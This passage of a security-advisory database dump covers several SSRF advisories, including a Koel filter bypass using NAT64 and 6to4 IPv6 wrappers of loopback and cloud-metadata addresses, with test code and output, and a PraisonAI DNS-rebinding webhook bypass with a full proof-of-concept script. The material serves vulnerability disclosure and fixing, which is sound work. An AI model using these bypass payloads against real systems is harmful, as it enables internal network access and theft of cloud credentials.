(!filter_var($ip, FILTER_VALIDATE_IP)) return false;\n return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;\n}\nforeach ([\n [\u0027NAT64(127.0.0.1)\u0027,\u002764:ff9b::7f00:1\u0027], [\u0027NAT64(169.254.169.254 IMDS)\u0027,\u002764:ff9b::a9fe:a9fe\u0027],\n [\u0027NAT64(10.0.0.1)\u0027,\u002764:ff9b::a00:1\u0027], [\u00276to4(127.0.0.1)\u0027,\u00272002:7f00:1::\u0027],\n [\u00276to4(169.254.169.254)\u0027,\u00272002:a9fe:a9fe::\u0027], [\u00276to4(10.0.0.1)\u0027,\u00272002:a00:1::\u0027],\n [\u0027direct 127.0.0.1\u0027,\u0027127.0.0.1\u0027], [\u0027direct 10.0.0.1\u0027,\u002710.0.0.1\u0027],\n [\u0027direct 169.254.169.254\u0027,\u0027169.254.169.254\u0027], [\u0027IPv4-mapped ::ffff:10.0.0.1\u0027,\u0027::ffff:10.0.0.1\u0027],\n] as [$l,$ip]) printf(\"%-30s %-22s passes_public=%s\\n\",$l,$ip,isPublicHost_literal($ip)?\u0027YES(BYPASS)\u0027:\u0027no(blocked)\u0027);\n```\n\nVerbatim output:\n\n```\nNAT64(127.0.0.1) 64:ff9b::7f00:1 passes_public=YES(BYPASS)\nNAT64(169.254.169.254 IMDS) 64:ff9b::a9fe:a9fe passes_public=YES(BYPASS)\nNAT64(10.0.0.1) 64:ff9b::a00:1 passes_public=YES(BYPASS)\n6to4(127.0.0.1) 2002:7f00:1:: passes_public=YES(BYPASS)\n6to4(169.254.169.254) 2002:a9fe:a9fe:: passes_public=YES(BYPASS)\n6to4(10.0.0.1) 2002:a00:1:: passes_public=YES(BYPASS)\ndirect 127.0.0.1 127.0.0.1 passes_public=no(blocked)\ndirect 10.0.0.1 10.0.0.1 passes_public=no(blocked)\ndirect 169.254.169.254 169.254.169.254 passes_public=no(blocked)\nIPv4-mapped ::ffff:10.0.0.1 ::ffff:10.0.0.1 passes_public=no(blocked)\n```\n\n### End-to-end reproduction against pinned koel v9.5.0\n\nEnvironment: `git clone --branch v9.5.0 https://github.com/koel/koel.git` + `composer install`, run inside a `php:8.5-cli` container started with `--cap-add=NET_ADMIN` so the NAT64 and 6to4 prefixes can be assigned to `lo`, simulating a NAT64/dual-stack host\u0027s kernel routing:\n\n```\nip -6 addr add 64:ff9b::7f00:1/128 dev lo # NAT64 wrapper of 127.0.0.1 -\u003e loopback\nip -6 addr add 2002:7f00:1::/128 dev lo # 6to4 wrapper of 127.0.0.1 -\u003e loopback\n```\n\nA localhost stand-in \"internal IMDS\" server listens on those literals and returns `SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64`. The harness boots a real Laravel container, resolves the **genuine released** `App\\Helpers\\Network` (from `app/Helpers/Network.php`), invokes its real `isPublicHost()` on each attacker `AAAA`-record value, then runs the verbatim `EpisodePlayable::createForEpisode()` body (`isSafeUrl` guard, then `Http::sink($file)-\u003eget($url)` via Laravel\u0027s real Guzzle-backed client):\n\n```php\n$network = $app-\u003emake(App\\Helpers\\Network::class); // resolved from app/Helpers/Network.php\n// STEP 1: genuine guard decision on the attacker AAAA-record value\nforeach ($aaaa as [$label,$ip]) echo $network-\u003eisPublicHost($ip) ? \u0027true\u0027 : \u0027false\u0027;\n// STEP 2: verbatim createForEpisode body\nif (!$network-\u003eisPublicHost($hostForGuard)) { /* REJECTED */ }\nelse { Http::sink($file)-\u003ewithOptions([...])-\u003eget($url); /* fetch + read body */ }\n```\n\nVerbatim output:\n\n```\nNetwork class (genuine released koel source): App\\Helpers\\Network\nResolved from: /app/app/Helpers/Network.php\nGuard predicate source (app/Helpers/Network.php isPublicHost):\n filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)\n\n==== STEP 1 \u2014 genuine $network-\u003eisPublicHost() on attacker AAAA-record value (the only guard) ====\n isPublicHost(64:ff9b::7f00:1 ) = true [NAT64(127.0.0.1) -\u003e loopback] expect=bypass-expected\n isPublicHost(64:ff9b::a9fe:a9fe ) = true [NAT64(169.254.169.254) -\u003e AWS IMDS] expect=bypass-expected\n isPublicHost(2002:a00:1:: ) = true [6to4(10.0.0.1) -\u003e RFC1918] expect=bypass-expected\n isPublicHost(10.0.0.1 ) = false [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block\n isPublicHost(::ffff:10.0.0.1 ) = false [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block\n isPublicHost(127.0.0.1 ) = false [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block\n isPublicHost(8.8.8.8 ) = true [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow\n\n==== STEP 2 \u2014 genuine EpisodePlayable fetch via Http::sink (real network) ====\n[IMDS-STANDIN HIT] local_addr_reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request_line=\"GET /secret HTTP/1.1\" Host: [64:ff9b::7f00:1]:18099\n [NAT64 well-known of 127.0.0.1]\n url=http://[64:ff9b::7f00:1]:18099/secret\n guard=PASSED fetched=YES status=200\n sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n[IMDS-STANDIN HIT] local_addr_reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request_line=\"GET /secret HTTP/1.1\" Host: [2002:7f00:1::]:18099\n [6to4 of 127.0.0.1]\n url=http://[2002:7f00:1::]:18099/secret\n guard=PASSED fetched=YES status=200\n sink_body=SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64\n [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]\n url=http://10.0.0.1:18099/secret\n guard=REJECTED fetched=no status=-\n sink_body=(none)\n\n==== E2E DONE ====\n```\n\nResult: both NAT64 and 6to4 enclosure URLs pass the genuine `isPublicHost`/`isSafeUrl` guard, the genuine `Http::sink()-\u003eget()` connects to the internal stand-in, and the internal response body (`SENTINEL_INTERNAL_IMDS_SECRET=...`) is read back \u2014 full-read SSRF.\n\n### Negative controls\n\n- `http://10.0.0.1` (direct RFC 1918) \u2014 guard `REJECTED`, no fetch (shown above).\n- `::ffff:10.0.0.1` (IPv4-mapped IPv6) and `127.0.0.1` / `169.254.169.254` (direct) \u2014 `isPublicHost(...) = false` (shown in STEP 1). The existing guard correctly blocks every form **except** the two transition wrappers, confirming the gap is specific to NAT64 `64:ff9b::/96` and 6to4 `2002::/16`.\n- `8.8.8.8` (public) \u2014 `isPublicHost(...) = true` (positive control: legitimate public hosts are unaffected by the proposed fix).\n\n## Impact\n\nFull-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:\n\n- Cloud instance metadata (`http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...`) \u2014 credential / IAM-role token theft on AWS/GCP/Azure.\n- Internal-only HTTP services (admin panels, databases with HTTP fronts, `localhost` daemons) reachable from the Koel host.\n\nPrecondition: the Koel host has NAT64 (`64:ff9b::/96`) or 6to4/dual-stack routing for the transition prefix \u2014 the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.\n\n## Suggested fix\n\nIn `isPublicHost()`, before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:0:0/96`, already covered by the flag but should be unwrapped for consistency), Teredo (`2001::/32`) and IPv4-compatible (`::/96`) wrappers, extract the embedded IPv4, and require it to pass `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.\n\n## Fix PR\n\nA fix is provided via a private fork PR against the advisory\u0027s temporary fork (linked from the advisory\u0027s \"Collaborators\" / fix workflow). It adds an `extractEmbeddedIpv4()` helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing `NO_PRIV_RANGE | NO_RES_RANGE` predicate in both the literal-IP and per-resolved-record branches of `isPublicHost()`, and adds regression tests.\n\n## Credit\n\nReported by tonghuaroot.",
"id": "GHSA-rjg7-r26h-cfp2",
"modified": "2026-07-15T18:21:39Z",
"published": "2026-07-15T18:21:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/koel/koel/security/advisories/GHSA-rjg7-r26h-cfp2"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/pull/2549"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/commit/5f6ce2cefd08f437a269236b677ad971517ccbb6"
},
{
"type": "PACKAGE",
"url": "https://github.com/koel/koel"
},
{
"type": "WEB",
"url": "https://github.com/koel/koel/releases/tag/v9.7.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4"
}
GHSA-RJGM-GJ46-44PR
Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-08-20 15:31IBM Edge Application Manager 4.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
{
"affected": [],
"aliases": [
"CVE-2025-1142"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T15:15:32Z",
"severity": "MODERATE"
},
"details": "IBM Edge Application Manager 4.5 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
"id": "GHSA-rjgm-gj46-44pr",
"modified": "2025-08-20T15:31:42Z",
"published": "2025-08-20T15:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1142"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7242632"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJH4-3X8P-7JCR
Vulnerability from github – Published: 2025-10-18 06:30 – Updated: 2026-04-08 21:33The Gutenberg Essential Blocks – Page Builder for Gutenberg Blocks & Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.7.1 via the eb_save_ai_generated_image function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2025-11361"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-18T05:15:33Z",
"severity": "MODERATE"
},
"details": "The Gutenberg Essential Blocks \u2013 Page Builder for Gutenberg Blocks \u0026 Patterns plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.7.1 via the eb_save_ai_generated_image function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-rjh4-3x8p-7jcr",
"modified": "2026-04-08T21:33:07Z",
"published": "2025-10-18T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11361"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/essential-blocks/tags/5.7.0/includes/Admin/Admin.php#L865"
},
{
"type": "WEB",
"url": "https://research.cleantalk.org/cve-2025-11361"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d4b06b93-6b15-4b1f-bdd9-080618591bdc?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJVW-7VVW-549V
Vulnerability from github – Published: 2026-06-18 13:57 – Updated: 2026-06-18 13:57Jobs webhook SSRF protection bypass via DNS rebinding
Summary
PraisonAI's Async Jobs API validates webhook_url when a job request is parsed
and again when the internal Job object is constructed. That validation blocks
direct loopback/private targets, but it is not bound to the later network
request. When a job completes, _send_webhook() passes the original hostname to
httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded
transport.
An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.
This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm
("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer
to maintainers on whether this should be a new advisory/CVE or an amendment to
the prior advisory, but current supported releases still appear affected.
Affected Component
Package:
praisonai
Files:
src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py
Relevant code paths:
JobSubmitRequest.validate_webhook_url()
Job.validate_webhook_url()
JobExecutor._send_webhook()
POST /api/v1/runs
Affected Versions
Validated affected:
v4.5.126(f00763937bf7f4d091e84533692fc0576fca9b99);v4.5.128(b4e3a8a8);v4.6.56(d3c4a2af);v4.6.57(e90d92231853161ad931f3498da57651a9f8b528);- current
main(2f9677abb2ea68eab864ee8b6a828fd0141612e1,v4.6.57-4-g2f9677ab).
Suggested affected range for maintainer confirmation:
>= 4.5.126, <= 4.6.57
No patched version is known to me at submission time.
v4.5.124 and earlier are covered by the older unvalidated-webhook advisory.
This report is scoped to patched-era releases where direct loopback/private
webhook URLs are rejected but DNS rebinding still bypasses the guard.
Root Cause
Current validation is a time-of-check/time-of-use boundary:
JobSubmitRequest.webhook_urlis validated withurlparse()andsocket.gethostbyname().- The resolved address is rejected when it is private, loopback, link-local, or multicast.
- The original URL string is stored on the
Job. - After job completion,
_send_webhook()creates a freshhttpx.AsyncClientand POSTs to the original URL. httpxresolves the hostname again. There is no revalidation of the address that is actually connected to.
The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.
Local Reproduction
The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver
behavior in-process, and uses the real PraisonAI Job validator plus
JobExecutor._send_webhook() sender.
Run from a PraisonAI checkout:
env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py
Observed output on current main:
DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook
INTERNAL_SERVER_HIT: true
INTERNAL_REQUEST_HOST: rebind.test:<port>
INTERNAL_REQUEST_PATH: /hook
WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status
WEBHOOK_PAYLOAD_STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding
The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.
Full Local PoV Script
#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.
The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""
from __future__ import annotations
import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any
from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest
ATTACKER_HOST = "rebind.test"
PUBLIC_IP = "93.184.216.34"
class InternalHandler(BaseHTTPRequestHandler):
def do_POST(self) -> None: # noqa: N802
length = int(self.headers.get("content-length", "0"))
body = self.rfile.read(length)
self.server.received.put( # type: ignore[attr-defined]
{
"path": self.path,
"host": self.headers.get("host"),
"body": body.decode("utf-8", "replace"),
}
)
self.send_response(204)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def assert_direct_loopback_blocked(port: int) -> None:
blocked = {}
direct_url = f"http://127.0.0.1:{port}/hook"
for model in (JobSubmitRequest, Job):
try:
model(prompt="x", webhook_url=direct_url)
blocked[model.__name__] = False
except Exception:
blocked[model.__name__] = True
print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True))
if not all(blocked.values()):
raise SystemExit("control failed: direct loopback webhook URL was accepted")
def build_validated_job(port: int) -> Job:
original_gethostbyname = socket.gethostbyname
def validation_gethostbyname(host: str) -> str:
if host == ATTACKER_HOST:
return PUBLIC_IP
return original_gethostbyname(host)
socket.gethostbyname = validation_gethostbyname
try:
webhook_url = f"http://{ATTACKER_HOST}:{port}/hook"
request = JobSubmitRequest(prompt="x", webhook_url=webhook_url)
job = Job(prompt=request.prompt, webhook_url=request.webhook_url)
job.succeed({"pov": "job result sent to webhook"})
return job
finally:
socket.gethostbyname = original_gethostbyname
async def send_after_rebind(job: Job, port: int) -> None:
original_getaddrinfo = socket.getaddrinfo
def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):
normalized_host = host.decode() if isinstance(host, bytes) else host
if normalized_host == ATTACKER_HOST:
return [
(
socket.AF_INET,
socket.SOCK_STREAM,
socket.IPPROTO_TCP,
"",
("127.0.0.1", port_arg),
)
]
return original_getaddrinfo(host, port_arg, *args, **kwargs)
socket.getaddrinfo = send_getaddrinfo
try:
await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type]
finally:
socket.getaddrinfo = original_getaddrinfo
def main() -> int:
received: queue.Queue[dict[str, str]] = queue.Queue()
server = HTTPServer(("127.0.0.1", 0), InternalHandler)
server.received = received # type: ignore[attr-defined]
port = int(server.server_port)
thread = threading.Thread(target=server.handle_request, daemon=True)
thread.start()
try:
assert_direct_loopback_blocked(port)
job = build_validated_job(port)
print("ACCEPTED_WEBHOOK_URL:", job.webhook_url)
asyncio.run(send_after_rebind(job, port))
finally:
server.server_close()
try:
hit = received.get_nowait()
except queue.Empty:
raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")
payload = json.loads(hit["body"])
print("INTERNAL_SERVER_HIT: true")
print("INTERNAL_REQUEST_HOST:", hit["host"])
print("INTERNAL_REQUEST_PATH:", hit["path"])
print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload)))
print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status"))
if hit["host"] != f"{ATTACKER_HOST}:{port}":
raise SystemExit("unexpected host header")
if payload.get("status") != "succeeded":
raise SystemExit("unexpected webhook payload")
print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Intended-Behavior Validation
PraisonAI's Async Jobs documentation describes webhook_url as the completion
callback URL for submitted jobs. The deploy API docs list webhooks as a key
feature and state that the async jobs API does not require authentication by
default, with authentication left to server deployment configuration.
The code also proves the intended safety boundary: both JobSubmitRequest and
Job currently reject direct http://127.0.0.1:<port>/... webhook URLs. The
PoV does not rely on local webhooks being intentionally allowed; it demonstrates
that a blocked local target becomes reachable after the validation-to-use DNS
transition.
Impact
If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose
webhook_url, they can cause the PraisonAI host to send POST requests to
loopback, private-network, or cloud metadata endpoints reachable from that host.
Practical impact includes:
- blind interaction with internal HTTP services;
- internal host/port reachability probing via timing and webhook error behavior;
- POSTing attacker-controlled job result payloads to internal APIs with weak request validation;
- cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.
This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.
Severity
Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.
If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.
Suggested Fix
- Move SSRF validation to the send path immediately before opening the outbound connection.
- Resolve all candidate addresses with
socket.getaddrinfo(), not only the first IPv4 answer fromgethostbyname(). - Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.
- Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.
- Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.
- Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.58"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "4.5.126"
},
{
"fixed": "4.6.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T13:57:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Jobs webhook SSRF protection bypass via DNS rebinding\n\n## Summary\n\nPraisonAI\u0027s Async Jobs API validates `webhook_url` when a job request is parsed\nand again when the internal `Job` object is constructed. That validation blocks\ndirect loopback/private targets, but it is not bound to the later network\nrequest. When a job completes, `_send_webhook()` passes the original hostname to\n`httpx.AsyncClient.post()` with no send-time validation, IP pinning, or guarded\ntransport.\n\nAn attacker-controlled hostname can therefore resolve to a public IP during\nPydantic validation and later resolve to loopback/private/cloud-metadata\ninfrastructure during webhook delivery. This bypasses the intended SSRF guard in\ncurrent supported releases.\n\nThis appears to be an incomplete fix / patch bypass for `GHSA-8frj-8q3m-xhgm`\n(\"Server-Side Request Forgery via Unvalidated webhook_url in Jobs API\"). I defer\nto maintainers on whether this should be a new advisory/CVE or an amendment to\nthe prior advisory, but current supported releases still appear affected.\n\n## Affected Component\n\nPackage:\n\n```text\npraisonai\n```\n\nFiles:\n\n```text\nsrc/praisonai/praisonai/jobs/models.py\nsrc/praisonai/praisonai/jobs/executor.py\nsrc/praisonai/praisonai/jobs/router.py\n```\n\nRelevant code paths:\n\n```text\nJobSubmitRequest.validate_webhook_url()\nJob.validate_webhook_url()\nJobExecutor._send_webhook()\nPOST /api/v1/runs\n```\n\n## Affected Versions\n\nValidated affected:\n\n- `v4.5.126` (`f00763937bf7f4d091e84533692fc0576fca9b99`);\n- `v4.5.128` (`b4e3a8a8`);\n- `v4.6.56` (`d3c4a2af`);\n- `v4.6.57` (`e90d92231853161ad931f3498da57651a9f8b528`);\n- current `main` (`2f9677abb2ea68eab864ee8b6a828fd0141612e1`,\n `v4.6.57-4-g2f9677ab`).\n\nSuggested affected range for maintainer confirmation:\n\n```text\n\u003e= 4.5.126, \u003c= 4.6.57\n```\n\nNo patched version is known to me at submission time.\n\n`v4.5.124` and earlier are covered by the older unvalidated-webhook advisory.\nThis report is scoped to patched-era releases where direct loopback/private\nwebhook URLs are rejected but DNS rebinding still bypasses the guard.\n\n## Root Cause\n\nCurrent validation is a time-of-check/time-of-use boundary:\n\n1. `JobSubmitRequest.webhook_url` is validated with `urlparse()` and\n `socket.gethostbyname()`.\n2. The resolved address is rejected when it is private, loopback, link-local, or\n multicast.\n3. The original URL string is stored on the `Job`.\n4. After job completion, `_send_webhook()` creates a fresh `httpx.AsyncClient`\n and POSTs to the original URL.\n5. `httpx` resolves the hostname again. There is no revalidation of the address\n that is actually connected to.\n\nThe first DNS answer is therefore trusted for a later, independent DNS lookup.\nAn attacker who controls DNS for the webhook hostname can return a public\naddress during validation and an internal address during delivery.\n\n## Local Reproduction\n\nThe PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver\nbehavior in-process, and uses the real PraisonAI `Job` validator plus\n`JobExecutor._send_webhook()` sender.\n\nRun from a PraisonAI checkout:\n\n```fish\nenv PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py\n```\n\nObserved output on current `main`:\n\n```text\nDIRECT_LOOPBACK_BLOCKED: {\"Job\": true, \"JobSubmitRequest\": true}\nACCEPTED_WEBHOOK_URL: http://rebind.test:\u003cport\u003e/hook\nINTERNAL_SERVER_HIT: true\nINTERNAL_REQUEST_HOST: rebind.test:\u003cport\u003e\nINTERNAL_REQUEST_PATH: /hook\nWEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status\nWEBHOOK_PAYLOAD_STATUS: succeeded\nPRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\n```\n\nThe direct control proves that the current guard is meant to reject loopback\nwebhook destinations. The rebind case proves the same blocked destination class\nis reached when the hostname changes between validation and delivery.\n\n## Full Local PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.\n\nThe PoV uses only loopback services. It models an attacker-controlled hostname\nthat resolves to a public IP during PraisonAI\u0027s Pydantic validation, then\nresolves to loopback when the async webhook sender later opens the connection.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport json\nimport queue\nimport socket\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom typing import Any\n\nfrom praisonai.jobs.executor import JobExecutor\nfrom praisonai.jobs.models import Job, JobSubmitRequest\n\n\nATTACKER_HOST = \"rebind.test\"\nPUBLIC_IP = \"93.184.216.34\"\n\n\nclass InternalHandler(BaseHTTPRequestHandler):\n def do_POST(self) -\u003e None: # noqa: N802\n length = int(self.headers.get(\"content-length\", \"0\"))\n body = self.rfile.read(length)\n self.server.received.put( # type: ignore[attr-defined]\n {\n \"path\": self.path,\n \"host\": self.headers.get(\"host\"),\n \"body\": body.decode(\"utf-8\", \"replace\"),\n }\n )\n self.send_response(204)\n self.end_headers()\n\n def log_message(self, *_args: Any) -\u003e None:\n return\n\n\ndef assert_direct_loopback_blocked(port: int) -\u003e None:\n blocked = {}\n direct_url = f\"http://127.0.0.1:{port}/hook\"\n for model in (JobSubmitRequest, Job):\n try:\n model(prompt=\"x\", webhook_url=direct_url)\n blocked[model.__name__] = False\n except Exception:\n blocked[model.__name__] = True\n\n print(\"DIRECT_LOOPBACK_BLOCKED:\", json.dumps(blocked, sort_keys=True))\n if not all(blocked.values()):\n raise SystemExit(\"control failed: direct loopback webhook URL was accepted\")\n\n\ndef build_validated_job(port: int) -\u003e Job:\n original_gethostbyname = socket.gethostbyname\n\n def validation_gethostbyname(host: str) -\u003e str:\n if host == ATTACKER_HOST:\n return PUBLIC_IP\n return original_gethostbyname(host)\n\n socket.gethostbyname = validation_gethostbyname\n try:\n webhook_url = f\"http://{ATTACKER_HOST}:{port}/hook\"\n request = JobSubmitRequest(prompt=\"x\", webhook_url=webhook_url)\n job = Job(prompt=request.prompt, webhook_url=request.webhook_url)\n job.succeed({\"pov\": \"job result sent to webhook\"})\n return job\n finally:\n socket.gethostbyname = original_gethostbyname\n\n\nasync def send_after_rebind(job: Job, port: int) -\u003e None:\n original_getaddrinfo = socket.getaddrinfo\n\n def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):\n normalized_host = host.decode() if isinstance(host, bytes) else host\n if normalized_host == ATTACKER_HOST:\n return [\n (\n socket.AF_INET,\n socket.SOCK_STREAM,\n socket.IPPROTO_TCP,\n \"\",\n (\"127.0.0.1\", port_arg),\n )\n ]\n return original_getaddrinfo(host, port_arg, *args, **kwargs)\n\n socket.getaddrinfo = send_getaddrinfo\n try:\n await JobExecutor(store=None)._send_webhook(job) # type: ignore[arg-type]\n finally:\n socket.getaddrinfo = original_getaddrinfo\n\n\ndef main() -\u003e int:\n received: queue.Queue[dict[str, str]] = queue.Queue()\n server = HTTPServer((\"127.0.0.1\", 0), InternalHandler)\n server.received = received # type: ignore[attr-defined]\n port = int(server.server_port)\n thread = threading.Thread(target=server.handle_request, daemon=True)\n thread.start()\n\n try:\n assert_direct_loopback_blocked(port)\n job = build_validated_job(port)\n print(\"ACCEPTED_WEBHOOK_URL:\", job.webhook_url)\n asyncio.run(send_after_rebind(job, port))\n finally:\n server.server_close()\n\n try:\n hit = received.get_nowait()\n except queue.Empty:\n raise SystemExit(\"bypass failed: loopback-only webhook receiver was not hit\")\n\n payload = json.loads(hit[\"body\"])\n print(\"INTERNAL_SERVER_HIT: true\")\n print(\"INTERNAL_REQUEST_HOST:\", hit[\"host\"])\n print(\"INTERNAL_REQUEST_PATH:\", hit[\"path\"])\n print(\"WEBHOOK_PAYLOAD_KEYS:\", \",\".join(sorted(payload)))\n print(\"WEBHOOK_PAYLOAD_STATUS:\", payload.get(\"status\"))\n\n if hit[\"host\"] != f\"{ATTACKER_HOST}:{port}\":\n raise SystemExit(\"unexpected host header\")\n if payload.get(\"status\") != \"succeeded\":\n raise SystemExit(\"unexpected webhook payload\")\n\n print(\"PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding\")\n return 0\n\n\nif __name__ == \"__main__\":\n raise 